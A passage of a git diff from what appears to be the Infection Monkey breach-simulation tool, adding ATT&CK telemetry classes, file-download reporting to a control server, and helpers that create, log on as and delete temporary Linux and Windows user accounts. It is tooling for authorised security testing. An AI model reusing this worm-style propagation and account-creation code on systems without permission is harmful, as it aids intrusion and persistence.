+ :param machine: VictimHost obj from model/host.py
+ :param usage: Usage string
+ """
+ super(T1197Telem, self).__init__('T1197', status, machine)
+ self.usage = usage
+
+ def get_data(self):
+ data = super(T1197Telem, self).get_data()
+ data.update({
+ 'usage': self.usage
+ })
+ return data
diff --git a/monkey/infection_monkey/telemetry/attack/t1222_telem.py b/monkey/infection_monkey/telemetry/attack/t1222_telem.py
new file mode 100644
index 000000000..4708c230a
--- /dev/null
+++ b/monkey/infection_monkey/telemetry/attack/t1222_telem.py
@@ -0,0 +1,20 @@
+from infection_monkey.telemetry.attack.victim_host_telem import VictimHostTelem
+
+
+class T1222Telem(VictimHostTelem):
+ def __init__(self, status, command, machine):
+ """
+ T1222 telemetry.
+ :param status: ScanStatus of technique
+ :param command: command used to change permissions
+ :param machine: VictimHost type object
+ """
+ super(T1222Telem, self).__init__('T1222', status, machine)
+ self.command = command
+
+ def get_data(self):
+ data = super(T1222Telem, self).get_data()
+ data.update({
+ 'command': self.command
+ })
+ return data
diff --git a/monkey/infection_monkey/telemetry/attack/usage_telem.py b/monkey/infection_monkey/telemetry/attack/usage_telem.py
new file mode 100644
index 000000000..4b47d8be3
--- /dev/null
+++ b/monkey/infection_monkey/telemetry/attack/usage_telem.py
@@ -0,0 +1,20 @@
+from infection_monkey.telemetry.attack.attack_telem import AttackTelem
+
+
+class UsageTelem(AttackTelem):
+
+ def __init__(self, technique, status, usage):
+ """
+ :param technique: Id of technique
+ :param status: ScanStatus of technique
+ :param usage: Enum of UsageEnum type
+ """
+ super(UsageTelem, self).__init__(technique, status)
+ self.usage = usage.name
+
+ def get_data(self):
+ data = super(UsageTelem, self).get_data()
+ data.update({
+ 'usage': self.usage
+ })
+ return data
diff --git a/monkey/infection_monkey/telemetry/attack/victim_host_telem.py b/monkey/infection_monkey/telemetry/attack/victim_host_telem.py
new file mode 100644
index 000000000..9e277926c
--- /dev/null
+++ b/monkey/infection_monkey/telemetry/attack/victim_host_telem.py
@@ -0,0 +1,24 @@
+from infection_monkey.telemetry.attack.attack_telem import AttackTelem
+
+__author__ = "VakarisZ"
+
+
+class VictimHostTelem(AttackTelem):
+
+ def __init__(self, technique, status, machine):
+ """
+ ATT&CK telemetry.
+ When `send` is called, it will parse and send the VictimHost's (remote machine's) data.
+ :param technique: Technique ID. E.g. T111
+ :param status: ScanStatus of technique
+ :param machine: VictimHost obj from model/host.py
+ """
+ super(VictimHostTelem, self).__init__(technique, status)
+ self.machine = {'domain_name': machine.domain_name, 'ip_addr': machine.ip_addr}
+
+ def get_data(self):
+ data = super(VictimHostTelem, self).get_data()
+ data.update({
+ 'machine': self.machine
+ })
+ return data
diff --git a/monkey/infection_monkey/telemetry/attack/victim_host_telem_test.py b/monkey/infection_monkey/telemetry/attack/victim_host_telem_test.py
new file mode 100644
index 000000000..2ccab7483
--- /dev/null
+++ b/monkey/infection_monkey/telemetry/attack/victim_host_telem_test.py
@@ -0,0 +1,29 @@
+from unittest import TestCase
+
+from common.utils.attack_utils import ScanStatus
+from infection_monkey.model import VictimHost
+from infection_monkey.telemetry.attack.victim_host_telem import VictimHostTelem
+
+
+class TestVictimHostTelem(TestCase):
+ def test_get_data(self):
+ machine = VictimHost('127.0.0.1')
+ status = ScanStatus.USED
+ technique = 'T1210'
+
+ telem = VictimHostTelem(technique, status, machine)
+
+ self.assertEqual(telem.telem_category, 'attack')
+
+ expected_data = {
+ 'machine': {
+ 'domain_name': machine.domain_name,
+ 'ip_addr': machine.ip_addr
+ },
+ 'status': status.value,
+ 'technique': technique
+ }
+
+ actual_data = telem.get_data()
+
+ self.assertEqual(actual_data, expected_data)
diff --git a/monkey/infection_monkey/telemetry/base_telem.py b/monkey/infection_monkey/telemetry/base_telem.py
new file mode 100644
index 000000000..31d7332bd
--- /dev/null
+++ b/monkey/infection_monkey/telemetry/base_telem.py
@@ -0,0 +1,42 @@
+import abc
+import json
+import logging
+
+from infection_monkey.control import ControlClient
+
+logger = logging.getLogger(__name__)
+
+__author__ = 'itay.mizeretz'
+
+
+class BaseTelem(object):
+ """
+ Abstract base class for telemetry.
+ """
+
+ __metaclass__ = abc.ABCMeta
+
+ def __init__(self):
+ pass
+
+ def send(self):
+ """
+ Sends telemetry to island
+ """
+ data = self.get_data()
+ logger.debug("Sending {} telemetry. Data: {}".format(self.telem_category, json.dumps(data)))
+ ControlClient.send_telemetry(self.telem_category, data)
+
+ @abc.abstractproperty
+ def telem_category(self):
+ """
+ :return: Telemetry type
+ """
+ pass
+
+ @abc.abstractmethod
+ def get_data(self):
+ """
+ :return: Data of telemetry (should be dict)
+ """
+ pass
diff --git a/monkey/infection_monkey/telemetry/exploit_telem.py b/monkey/infection_monkey/telemetry/exploit_telem.py
new file mode 100644
index 000000000..bb114434f
--- /dev/null
+++ b/monkey/infection_monkey/telemetry/exploit_telem.py
@@ -0,0 +1,27 @@
+from infection_monkey.telemetry.base_telem import BaseTelem
+
+__author__ = "itay.mizeretz"
+
+
+class ExploitTelem(BaseTelem):
+
+ def __init__(self, exploiter, result):
+ """
+ Default exploit telemetry constructor
+ :param exploiter: The instance of exploiter used
+ :param result: The result from the 'exploit_host' method.
+ """
+ super(ExploitTelem, self).__init__()
+ self.exploiter = exploiter
+ self.result = result
+
+ telem_category = 'exploit'
+
+ def get_data(self):
+ return {
+ 'result': self.result,
+ 'machine': self.exploiter.host.__dict__,
+ 'exploiter': self.exploiter.__class__.__name__,
+ 'info': self.exploiter.exploit_info,
+ 'attempts': self.exploiter.exploit_attempts
+ }
diff --git a/monkey/infection_monkey/telemetry/post_breach_telem.py b/monkey/infection_monkey/telemetry/post_breach_telem.py
new file mode 100644
index 000000000..e5e443123
--- /dev/null
+++ b/monkey/infection_monkey/telemetry/post_breach_telem.py
@@ -0,0 +1,40 @@
+import socket
+
+from infection_monkey.telemetry.base_telem import BaseTelem
+
+__author__ = "itay.mizeretz"
+
+
+class PostBreachTelem(BaseTelem):
+
+ def __init__(self, pba, result):
+ """
+ Default post breach telemetry constructor
+ :param pba: Post breach action which was used
+ :param result: Result of PBA
+ """
+ super(PostBreachTelem, self).__init__()
+ self.pba = pba
+ self.result = result
+ self.hostname, self.ip = PostBreachTelem._get_hostname_and_ip()
+
+ telem_category = 'post_breach'
+
+ def get_data(self):
+ return {
+ 'command': self.pba.command,
+ 'result': self.result,
+ 'name': self.pba.name,
+ 'hostname': self.hostname,
+ 'ip': self.ip
+ }
+
+ @staticmethod
+ def _get_hostname_and_ip():
+ try:
+ hostname = socket.gethostname()
+ ip = socket.gethostbyname(hostname)
+ except socket.error:
+ hostname = "Unknown"
+ ip = "Unknown"
+ return hostname, ip
diff --git a/monkey/infection_monkey/telemetry/scan_telem.py b/monkey/infection_monkey/telemetry/scan_telem.py
new file mode 100644
index 000000000..b1c58ab1b
--- /dev/null
+++ b/monkey/infection_monkey/telemetry/scan_telem.py
@@ -0,0 +1,22 @@
+from infection_monkey.telemetry.base_telem import BaseTelem
+
+__author__ = "itay.mizeretz"
+
+
+class ScanTelem(BaseTelem):
+
+ def __init__(self, machine):
+ """
+ Default scan telemetry constructor
+ :param machine: Scanned machine
+ """
+ super(ScanTelem, self).__init__()
+ self.machine = machine
+
+ telem_category = 'scan'
+
+ def get_data(self):
+ return {
+ 'machine': self.machine.as_dict(),
+ 'service_count': len(self.machine.services)
+ }
diff --git a/monkey/infection_monkey/telemetry/state_telem.py b/monkey/infection_monkey/telemetry/state_telem.py
new file mode 100644
index 000000000..3bd63d2f9
--- /dev/null
+++ b/monkey/infection_monkey/telemetry/state_telem.py
@@ -0,0 +1,19 @@
+from infection_monkey.telemetry.base_telem import BaseTelem
+
+__author__ = "itay.mizeretz"
+
+
+class StateTelem(BaseTelem):
+
+ def __init__(self, is_done):
+ """
+ Default state telemetry constructor
+ :param is_done: Whether the state of monkey is done.
+ """
+ super(StateTelem, self).__init__()
+ self.is_done = is_done
+
+ telem_category = 'state'
+
+ def get_data(self):
+ return {'done': self.is_done}
diff --git a/monkey/infection_monkey/telemetry/system_info_telem.py b/monkey/infection_monkey/telemetry/system_info_telem.py
new file mode 100644
index 000000000..a4b1c0bd0
--- /dev/null
+++ b/monkey/infection_monkey/telemetry/system_info_telem.py
@@ -0,0 +1,19 @@
+from infection_monkey.telemetry.base_telem import BaseTelem
+
+__author__ = "itay.mizeretz"
+
+
+class SystemInfoTelem(BaseTelem):
+
+ def __init__(self, system_info):
+ """
+ Default system info telemetry constructor
+ :param system_info: System info returned from SystemInfoCollector.get_info()
+ """
+ super(SystemInfoTelem, self).__init__()
+ self.system_info = system_info
+
+ telem_category = 'system_info'
+
+ def get_data(self):
+ return self.system_info
diff --git a/monkey/infection_monkey/telemetry/trace_telem.py b/monkey/infection_monkey/telemetry/trace_telem.py
new file mode 100644
index 000000000..0782affb4
--- /dev/null
+++ b/monkey/infection_monkey/telemetry/trace_telem.py
@@ -0,0 +1,26 @@
+import logging
+
+from infection_monkey.telemetry.base_telem import BaseTelem
+
+__author__ = "itay.mizeretz"
+
+LOG = logging.getLogger(__name__)
+
+
+class TraceTelem(BaseTelem):
+
+ def __init__(self, msg):
+ """
+ Default trace telemetry constructor
+ :param msg: Trace message
+ """
+ super(TraceTelem, self).__init__()
+ self.msg = msg
+ LOG.debug("Trace: %s" % msg)
+
+ telem_category = 'trace'
+
+ def get_data(self):
+ return {
+ 'msg': self.msg
+ }
diff --git a/monkey/infection_monkey/telemetry/tunnel_telem.py b/monkey/infection_monkey/telemetry/tunnel_telem.py
new file mode 100644
index 000000000..64533a252
--- /dev/null
+++ b/monkey/infection_monkey/telemetry/tunnel_telem.py
@@ -0,0 +1,19 @@
+from infection_monkey.control import ControlClient
+from infection_monkey.telemetry.base_telem import BaseTelem
+
+__author__ = "itay.mizeretz"
+
+
+class TunnelTelem(BaseTelem):
+
+ def __init__(self):
+ """
+ Default tunnel telemetry constructor
+ """
+ super(TunnelTelem, self).__init__()
+ self.proxy = ControlClient.proxies.get('https')
+
+ telem_category = 'tunnel'
+
+ def get_data(self):
+ return {'proxy': self.proxy}
diff --git a/monkey/infection_monkey/transport/attack_telems/base_telem.py b/monkey/infection_monkey/transport/attack_telems/base_telem.py
deleted file mode 100644
index 9d0275356..000000000
--- a/monkey/infection_monkey/transport/attack_telems/base_telem.py
+++ /dev/null
@@ -1,41 +0,0 @@
-from infection_monkey.config import WormConfiguration, GUID
-import requests
-import json
-from infection_monkey.control import ControlClient
-import logging
-
-__author__ = "VakarisZ"
-
-LOG = logging.getLogger(__name__)
-
-
-class AttackTelem(object):
-
- def __init__(self, technique, status, data=None):
- """
- Default ATT&CK telemetry constructor
- :param technique: Technique ID. E.g. T111
- :param status: int from ScanStatus Enum
- :param data: Other data relevant to the attack technique
- """
- self.technique = technique
- self.result = status
- self.data = {'status': status, 'id': GUID}
- if data:
- self.data.update(data)
-
- def send(self):
- """
- Sends telemetry to island
- """
- if not WormConfiguration.current_server:
- return
- try:
- requests.post("https://%s/api/attack/%s" % (WormConfiguration.current_server, self.technique),
- data=json.dumps(self.data),
- headers={'content-type': 'application/json'},
- verify=False,
- proxies=ControlClient.proxies)
- except Exception as exc:
- LOG.warn("Error connecting to control server %s: %s",
- WormConfiguration.current_server, exc)
diff --git a/monkey/infection_monkey/transport/attack_telems/victim_host_telem.py b/monkey/infection_monkey/transport/attack_telems/victim_host_telem.py
deleted file mode 100644
index ecab5a648..000000000
--- a/monkey/infection_monkey/transport/attack_telems/victim_host_telem.py
+++ /dev/null
@@ -1,18 +0,0 @@
-from infection_monkey.transport.attack_telems.base_telem import AttackTelem
-
-__author__ = "VakarisZ"
-
-
-class VictimHostTelem(AttackTelem):
-
- def __init__(self, technique, status, machine, data=None):
- """
- ATT&CK telemetry that parses and sends VictimHost's (remote machine's) data
- :param technique: Technique ID. E.g. T111
- :param status: int from ScanStatus Enum
- :param machine: VictimHost obj from model/host.py
- :param data: Other data relevant to the attack technique
- """
- super(VictimHostTelem, self).__init__(technique, status, data)
- victim_host = {'hostname': machine.domain_name, 'ip': machine.ip_addr}
- self.data.update({'machine': victim_host})
diff --git a/monkey/infection_monkey/transport/http.py b/monkey/infection_monkey/transport/http.py
index 00ced7198..8da49f637 100644
--- a/monkey/infection_monkey/transport/http.py
+++ b/monkey/infection_monkey/transport/http.py
@@ -6,10 +6,10 @@ import threading
import urllib
from logging import getLogger
from urlparse import urlsplit
-from threading import Lock
import infection_monkey.monkeyfs as monkeyfs
from infection_monkey.transport.base import TransportProxyBase, update_last_serve_time
+from infection_monkey.exploit.tools.helpers import get_interface_to_target
__author__ = 'hoffer'
@@ -49,7 +49,8 @@ class FileServHTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):
start_range += chunk
if f.tell() == monkeyfs.getsize(self.filename):
- self.report_download(self.client_address)
+ if self.report_download(self.client_address):
+ self.close_connection = 1
f.close()
@@ -164,12 +165,22 @@ class HTTPServer(threading.Thread):
def run(self):
class TempHandler(FileServHTTPRequestHandler):
+ from common.utils.attack_utils import ScanStatus
+ from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
+
filename = self._filename
@staticmethod
def report_download(dest=None):
LOG.info('File downloaded from (%s,%s)' % (dest[0], dest[1]))
+ TempHandler.T1105Telem(TempHandler.ScanStatus.USED,
+ get_interface_to_target(dest[0]),
+ dest[0],
+ self._filename).send()
self.downloads += 1
+ if not self.downloads < self.max_downloads:
+ return True
+ return False
httpd = BaseHTTPServer.HTTPServer((self._local_ip, self._local_port), TempHandler)
httpd.timeout = 0.5 # this is irrelevant?
@@ -208,12 +219,21 @@ class LockedHTTPServer(threading.Thread):
def run(self):
class TempHandler(FileServHTTPRequestHandler):
+ from common.utils.attack_utils import ScanStatus
+ from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
filename = self._filename
@staticmethod
def report_download(dest=None):
LOG.info('File downloaded from (%s,%s)' % (dest[0], dest[1]))
+ TempHandler.T1105Telem(TempHandler.ScanStatus.USED,
+ get_interface_to_target(dest[0]),
+ dest[0],
+ self._filename).send()
self.downloads += 1
+ if not self.downloads < self.max_downloads:
+ return True
+ return False
httpd = BaseHTTPServer.HTTPServer((self._local_ip, self._local_port), TempHandler)
self.lock.release()
diff --git a/monkey/infection_monkey/tunnel.py b/monkey/infection_monkey/tunnel.py
index d589ac98b..722dea50e 100644
--- a/monkey/infection_monkey/tunnel.py
+++ b/monkey/infection_monkey/tunnel.py
@@ -2,7 +2,6 @@ import logging
import socket
import struct
import time
-from difflib import get_close_matches
from threading import Thread
from infection_monkey.model import VictimHost
@@ -10,6 +9,7 @@ from infection_monkey.network.firewall import app as firewall
from infection_monkey.network.info import local_ips, get_free_tcp_port
from infection_monkey.network.tools import check_tcp_port
from infection_monkey.transport.base import get_last_serve_time
+from infection_monkey.exploit.tools.helpers import get_interface_to_target
__author__ = 'hoffer'
@@ -148,9 +148,9 @@ class MonkeyTunnel(Thread):
try:
search, address = self._broad_sock.recvfrom(BUFFER_READ)
if '?' == search:
- ip_match = get_close_matches(address[0], self.l_ips) or self.l_ips
+ ip_match = get_interface_to_target(address[0])
if ip_match:
- answer = '%s:%d' % (ip_match[0], self.local_port)
+ answer = '%s:%d' % (ip_match, self.local_port)
LOG.debug("Got tunnel request from %s, answering with %s", address[0], answer)
self._broad_sock.sendto(answer, (address[0], MCAST_PORT))
elif '+' == search:
@@ -187,8 +187,8 @@ class MonkeyTunnel(Thread):
if not self.local_port:
return
- ip_match = get_close_matches(host.ip_addr, local_ips()) or self.l_ips
- host.default_tunnel = '%s:%d' % (ip_match[0], self.local_port)
+ ip_match = get_interface_to_target(host.ip_addr)
+ host.default_tunnel = '%s:%d' % (ip_match, self.local_port)
def stop(self):
self._stopped = True
diff --git a/monkey/infection_monkey/utils.py b/monkey/infection_monkey/utils.py
deleted file mode 100644
index 741d7c950..000000000
--- a/monkey/infection_monkey/utils.py
+++ /dev/null
@@ -1,60 +0,0 @@
-import os
-import sys
-import shutil
-import struct
-
-from infection_monkey.config import WormConfiguration
-
-
-def get_monkey_log_path():
- return os.path.expandvars(WormConfiguration.monkey_log_path_windows) if sys.platform == "win32" \
- else WormConfiguration.monkey_log_path_linux
-
-
-def get_dropper_log_path():
- return os.path.expandvars(WormConfiguration.dropper_log_path_windows) if sys.platform == "win32" \
- else WormConfiguration.dropper_log_path_linux
-
-
-def is_64bit_windows_os():
- '''
- Checks for 64 bit Windows OS using environment variables.
- :return:
- '''
- return 'PROGRAMFILES(X86)' in os.environ
-
-
-def is_64bit_python():
- return struct.calcsize("P") == 8
-
-
-def is_windows_os():
- return sys.platform.startswith("win")
-
-
-def utf_to_ascii(string):
- # Converts utf string to ascii. Safe to use even if string is already ascii.
- udata = string.decode("utf-8")
- return udata.encode("ascii", "ignore")
-
-
-def create_monkey_dir():
- """
- Creates directory for monkey and related files
- """
- if not os.path.exists(get_monkey_dir_path()):
- os.mkdir(get_monkey_dir_path())
-
-
-def remove_monkey_dir():
- """
- Removes monkey's root directory
- """
- shutil.rmtree(get_monkey_dir_path(), ignore_errors=True)
-
-
-def get_monkey_dir_path():
- if is_windows_os():
- return WormConfiguration.monkey_dir_windows
- else:
- return WormConfiguration.monkey_dir_linux
diff --git a/monkey/infection_monkey/utils/__init__.py b/monkey/infection_monkey/utils/__init__.py
new file mode 100644
index 000000000..e69de29bb
diff --git a/monkey/infection_monkey/utils/auto_new_user.py b/monkey/infection_monkey/utils/auto_new_user.py
new file mode 100644
index 000000000..e749020d6
--- /dev/null
+++ b/monkey/infection_monkey/utils/auto_new_user.py
@@ -0,0 +1,42 @@
+import logging
+import abc
+
+logger = logging.getLogger(__name__)
+
+
+class AutoNewUser:
+ """
+ RAII object to use for creating and using a new user. Use with `with`.
+ User will be created when the instance is instantiated.
+ User will be available for use (log on for Windows, for example) at the start of the `with` scope.
+ User will be removed (deactivated and deleted for Windows, for example) at the end of said `with` scope.
+
+ Example:
+ # Created # Logged on
+ with AutoNewUser("user", "pass", is_on_windows()) as new_user:
+ ...
+ ...
+ # Logged off and deleted
+ ...
+ """
+ __metaclass__ = abc.ABCMeta
+
+ def __init__(self, username, password):
+ self.username = username
+ self.password = password
+
+ @abc.abstractmethod
+ def __enter__(self):
+ raise NotImplementedError()
+
+ @abc.abstractmethod
+ def __exit__(self, exc_type, exc_val, exc_tb):
+ raise NotImplementedError()
+
+ @abc.abstractmethod
+ def run_as(self, command):
+ """
+ Run the given command as the new user that was created.
+ :param command: The command to run - give as shell commandline (e.g. "ping google.com -n 1")
+ """
+ raise NotImplementedError()
diff --git a/monkey/infection_monkey/utils/auto_new_user_factory.py b/monkey/infection_monkey/utils/auto_new_user_factory.py
new file mode 100644
index 000000000..898226d46
--- /dev/null
+++ b/monkey/infection_monkey/utils/auto_new_user_factory.py
@@ -0,0 +1,21 @@
+from infection_monkey.utils.environment import is_windows_os
+from infection_monkey.utils.linux.users import AutoNewLinuxUser
+from infection_monkey.utils.windows.users import AutoNewWindowsUser
+
+
+def create_auto_new_user(username, password, is_windows=is_windows_os()):
+ """
+ Factory method for creating an AutoNewUser. See AutoNewUser's documentation for more information.
+ Example usage:
+ with create_auto_new_user(username, PASSWORD) as new_user:
+ ...
+ :param username: The username of the new user.
+ :param password: The password of the new user.
+ :param is_windows: If True, a new Windows user is created. Otherwise, a Linux user is created. Leave blank for
+ automatic detection.
+ :return: The new AutoNewUser object - use with a `with` scope.
+ """
+ if is_windows:
+ return AutoNewWindowsUser(username, password)
+ else:
+ return AutoNewLinuxUser(username, password)
diff --git a/monkey/infection_monkey/utils/environment.py b/monkey/infection_monkey/utils/environment.py
new file mode 100644
index 000000000..40a70ce58
--- /dev/null
+++ b/monkey/infection_monkey/utils/environment.py
@@ -0,0 +1,18 @@
+import os
+import struct
+import sys
+
+
+def is_64bit_windows_os():
+ """
+ Checks for 64 bit Windows OS using environment variables.
+ """
+ return 'PROGRAMFILES(X86)' in os.environ
+
+
+def is_64bit_python():
+ return struct.calcsize("P") == 8
+
+
+def is_windows_os():
+ return sys.platform.startswith("win")
diff --git a/monkey/infection_monkey/utils/linux/__init__.py b/monkey/infection_monkey/utils/linux/__init__.py
new file mode 100644
index 000000000..e69de29bb
diff --git a/monkey/infection_monkey/utils/linux/users.py b/monkey/infection_monkey/utils/linux/users.py
new file mode 100644
index 000000000..34becb8f7
--- /dev/null
+++ b/monkey/infection_monkey/utils/linux/users.py
@@ -0,0 +1,58 @@
+import datetime
+import logging
+import os
+import subprocess
+
+from infection_monkey.utils.auto_new_user import AutoNewUser
+
+logger = logging.getLogger(__name__)
+
+
+def get_linux_commands_to_add_user(username):
+ return [
+ 'useradd', # https://linux.die.net/man/8/useradd
+ '-M', # Do not create homedir
+ '--expiredate', # The date on which the user account will be disabled.
+ datetime.datetime.today().strftime('%Y-%m-%d'),
+ '--inactive', # The number of days after a password expires until the account is permanently disabled.
+ '0', # A value of 0 disables the account as soon as the password has expired
+ '-c', # Comment
+ 'MONKEY_USER', # Comment
+ username]
+
+
+def get_linux_commands_to_delete_user(username):
+ return [
+ 'deluser',
+ username
+ ]
+
+
+class AutoNewLinuxUser(AutoNewUser):
+ """
+ See AutoNewUser's documentation for details.
+ """
+
+ def __init__(self, username, password):
+ """
+ Creates a user with the username + password.
+ :raises: subprocess.CalledProcessError if failed to add the user.
+ """
+ super(AutoNewLinuxUser, self).__init__(username, password)
+
+ commands_to_add_user = get_linux_commands_to_add_user(username)
+ logger.debug("Trying to add {} with commands {}".format(self.username, str(commands_to_add_user)))
+ _ = subprocess.check_output(' '.join(commands_to_add_user), stderr=subprocess.STDOUT, shell=True)
+
+ def __enter__(self):
+ return self # No initialization/logging on needed in Linux
+
+ def run_as(self, command):
+ command_as_new_user = "sudo -u {username} {command}".format(username=self.username, command=command)
+ return os.system(command_as_new_user)
+
+ def __exit__(self, exc_type, exc_val, exc_tb):
+ # delete the user.
+ commands_to_delete_user = get_linux_commands_to_delete_user(self.username)
+ logger.debug("Trying to delete {} with commands {}".format(self.username, str(commands_to_delete_user)))
+ _ = subprocess.check_output(" ".join(commands_to_delete_user), stderr=subprocess.STDOUT, shell=True)
diff --git a/monkey/infection_monkey/utils/monkey_dir.py b/monkey/infection_monkey/utils/monkey_dir.py
new file mode 100644
index 000000000..bb69dae5b
--- /dev/null
+++ b/monkey/infection_monkey/utils/monkey_dir.py
@@ -0,0 +1,29 @@
+import os
+import shutil
+import tempfile
+
+from infection_monkey.config import WormConfiguration
+
+
+def create_monkey_dir():
+ """
+ Creates directory for monkey and related files
+ """
+ if not os.path.exists(get_monkey_dir_path()):
+ os.mkdir(get_monkey_dir_path())
+
+
+def remove_monkey_dir():
+ """
+ Removes monkey's root directory
+ :return True if removed without errors and False otherwise
+ """
+ try:
+ shutil.rmtree(get_monkey_dir_path())
+ return True
+ except Exception:
+ return False
+
+
+def get_monkey_dir_path():
+ return os.path.join(tempfile.gettempdir(), WormConfiguration.monkey_dir_name)
diff --git a/monkey/infection_monkey/utils/monkey_log_path.py b/monkey/infection_monkey/utils/monkey_log_path.py
new file mode 100644
index 000000000..ad80bc73d
--- /dev/null
+++ b/monkey/infection_monkey/utils/monkey_log_path.py
@@ -0,0 +1,14 @@
+import os
+import sys
+
+from infection_monkey.config import WormConfiguration
+
+
+def get_monkey_log_path():
+ return os.path.expandvars(WormConfiguration.monkey_log_path_windows) if sys.platform == "win32" \
+ else WormConfiguration.monkey_log_path_linux
+
+
+def get_dropper_log_path():
+ return os.path.expandvars(WormConfiguration.dropper_log_path_windows) if sys.platform == "win32" \
+ else WormConfiguration.dropper_log_path_linux
diff --git a/monkey/infection_monkey/utils/new_user_error.py b/monkey/infection_monkey/utils/new_user_error.py
new file mode 100644
index 000000000..8fe44d7bc
--- /dev/null
+++ b/monkey/infection_monkey/utils/new_user_error.py
@@ -0,0 +1,2 @@
+class NewUserError(Exception):
+ pass
diff --git a/monkey/infection_monkey/utils/users.py b/monkey/infection_monkey/utils/users.py
new file mode 100644
index 000000000..68148d9e9
--- /dev/null
+++ b/monkey/infection_monkey/utils/users.py
@@ -0,0 +1,10 @@
+from infection_monkey.utils.linux.users import get_linux_commands_to_add_user
+from infection_monkey.utils.windows.users import get_windows_commands_to_add_user
+
+
+def get_commands_to_add_user(username, password):
+ linux_cmds = get_linux_commands_to_add_user(username)
+ windows_cmds = get_windows_commands_to_add_user(username, password)
+ return linux_cmds, windows_cmds
+
+
diff --git a/monkey/infection_monkey/utils/windows/__init__.py b/monkey/infection_monkey/utils/windows/__init__.py
new file mode 100644
index 000000000..e69de29bb
diff --git a/monkey/infection_monkey/utils/windows/users.py b/monkey/infection_monkey/utils/windows/users.py
new file mode 100644
index 000000000..cf6eb73c4
--- /dev/null
+++ b/monkey/infection_monkey/utils/windows/users.py
@@ -0,0 +1,155 @@
+import logging
+import subprocess
+
+from infection_monkey.utils.auto_new_user import AutoNewUser
+from infection_monkey.utils.new_user_error import NewUserError
+
+ACTIVE_NO_NET_USER = '/ACTIVE:NO'
+WAIT_TIMEOUT_IN_MILLISECONDS = 20 * 1000
+
+logger = logging.getLogger(__name__)
+
+
+def get_windows_commands_to_add_user(username, password, should_be_active=False):
+ windows_cmds = [
+ 'net',
+ 'user',
+ username,
+ password,
+ '/add']
+ if not should_be_active:
+ windows_cmds.append(ACTIVE_NO_NET_USER)
+ return windows_cmds
+
+
+def get_windows_commands_to_delete_user(username):
+ return [
+ 'net',
+ 'user',
+ username,
+ '/delete']
+
+
+def get_windows_commands_to_deactivate_user(username):
+ return [
+ 'net',
+ 'user',
+ username,
+ ACTIVE_NO_NET_USER]
+
+
+class AutoNewWindowsUser(AutoNewUser):
+ """
+ See AutoNewUser's documentation for details.
+ """
+
+ def __init__(self, username, password):
+ """
+ Creates a user with the username + password.
+ :raises: subprocess.CalledProcessError if failed to add the user.
+ """
+ super(AutoNewWindowsUser, self).__init__(username, password)
+
+ windows_cmds = get_windows_commands_to_add_user(self.username, self.password, True)
+ logger.debug("Trying to add {} with commands {}".format(self.username, str(windows_cmds)))
+ _ = subprocess.check_output(windows_cmds, stderr=subprocess.STDOUT, shell=True)
+
+ def __enter__(self):
+ # Importing these only on windows, as they won't exist on linux.
+ import win32security
+ import win32con
+
+ try:
+ # Logon as new user: https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-logonusera
+ self.logon_handle = win32security.LogonUser(
+ self.username,
+ ".", # Use current domain.
+ self.password,
+ win32con.LOGON32_LOGON_INTERACTIVE, # Logon type - interactive (normal user). Need this to open ping
+ # using a shell.
+ win32con.LOGON32_PROVIDER_DEFAULT) # Which logon provider to use - whatever Windows offers.
+ except Exception as err:
+ raise NewUserError("Can't logon as {}. Error: {}".format(self.username, str(err)))
+ return self
+
+ def run_as(self, command):
+ # Importing these only on windows, as they won't exist on linux.
+ import win32con
+ import win32process
+ import win32api
+ import win32event
+
+ exit_code = -1
+ process_handle = None
+ thread_handle = None
+
+ try:
+ # Open process as that user:
+ # https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessasusera
+ process_handle, thread_handle, _, _ = win32process.CreateProcessAsUser(
+ self.get_logon_handle(), # A handle to the primary token that represents a user.
+ None, # The name of the module to be executed.
+ command, # The command line to be executed.
+ None, # Process attributes
+ None, # Thread attributes
+ True, # Should inherit handles
+ win32con.NORMAL_PRIORITY_CLASS, # The priority class and the creation of the process.
+ None, # An environment block for the new process. If this parameter is NULL, the new process
+ # uses the environment of the calling process.
+ None, # CWD. If this parameter is NULL, the new process will have the same current drive and
+ # directory as the calling process.
+ win32process.STARTUPINFO() # STARTUPINFO structure.
+ # https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-startupinfoa
+ )
+
+ logger.debug(
+ "Waiting for process to finish. Timeout: {}ms".format(WAIT_TIMEOUT_IN_MILLISECONDS))
+
+ # Ignoring return code, as we'll use `GetExitCode` to determine the state of the process later.
+ _ = win32event.WaitForSingleObject( # Waits until the specified object is signaled, or time-out.
+ process_handle, # Ping process handle
+ WAIT_TIMEOUT_IN_MILLISECONDS # Timeout in milliseconds
+ )
+
+ exit_code = win32process.GetExitCodeProcess(process_handle)
+ finally:
+ try:
+ if process_handle is not None:
+ win32api.CloseHandle(process_handle)
+ if thread_handle is not None:
+ win32api.CloseHandle(thread_handle)
+ except Exception as err:
+ logger.error("Close handle error: " + str(err))
+
+ return exit_code
+
+ def get_logon_handle(self):
+ return self.logon_handle
+
+ def __exit__(self, exc_type, exc_val, exc_tb):
+ # Logoff
+ self.logon_handle.Close()
+
+ # Try to disable and then delete the user.
+ self.try_deactivate_user()
+ self.try_delete_user()
+
+ def try_deactivate_user(self):
+ try:
+ commands_to_deactivate_user = get_windows_commands_to_deactivate_user(self.username)
+ logger.debug(
+ "Trying to deactivate {} with commands {}".format(self.username, str(commands_to_deactivate_user)))
+ _ = subprocess.check_output(
+ commands_to_deactivate_user, stderr=subprocess.STDOUT, shell=True)
+ except Exception as err:
+ raise NewUserError("Can't deactivate user {}. Info: {}".format(self.username, err))
+
+ def try_delete_user(self):
+ try:
+ commands_to_delete_user = get_windows_commands_to_delete_user(self.username)
+ logger.debug(
+ "Trying to delete {} with commands {}".format(self.username, str(commands_to_delete_user)))
+ _ = subprocess.check_output(
+ commands_to_delete_user, stderr=subprocess.STDOUT, shell=True)
+ except Exception as err:
+ raise NewUserError("Can't delete user {}. Info: {}".format(self.username, err))
diff --git a/monkey/infection_monkey/windows_upgrader.py b/monkey/infection_monkey/windows_upgrader.py
index 67b1c3cbd..af904b143 100644
--- a/monkey/infection_monkey/windows_upgrader.py
+++ b/monkey/infection_monkey/windows_upgrader.py
@@ -8,9 +8,9 @@ import time
import infection_monkey.monkeyfs as monkeyfs
from infection_monkey.config import WormConfiguration
from infection_monkey.control import ControlClient
